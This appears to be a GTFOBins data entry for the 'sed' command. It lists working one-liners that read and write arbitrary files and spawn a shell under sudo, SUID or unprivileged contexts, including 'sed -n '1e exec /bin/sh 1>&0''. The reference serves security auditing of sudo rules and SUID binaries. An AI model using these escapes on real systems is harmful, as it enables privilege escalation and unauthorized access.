mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-07 14:36:23 +01:00
38 lines
598 B
Plaintext
38 lines
598 B
Plaintext
---
|
|
functions:
|
|
file-read:
|
|
- code: |-
|
|
sed '' /path/to/input-file
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
file-write:
|
|
- code: |-
|
|
sed -n '1s/.*/DATA/w /path/to/output-file' /etc/hosts
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
shell:
|
|
- code: |-
|
|
sed -n '1e exec /bin/sh 1>&0' /etc/hosts
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
shell: true
|
|
unprivileged:
|
|
version: |-
|
|
GNU
|
|
- code: |-
|
|
sed e
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
shell: true
|
|
unprivileged:
|
|
tty: false
|
|
version: |-
|
|
GNU
|
|
...
|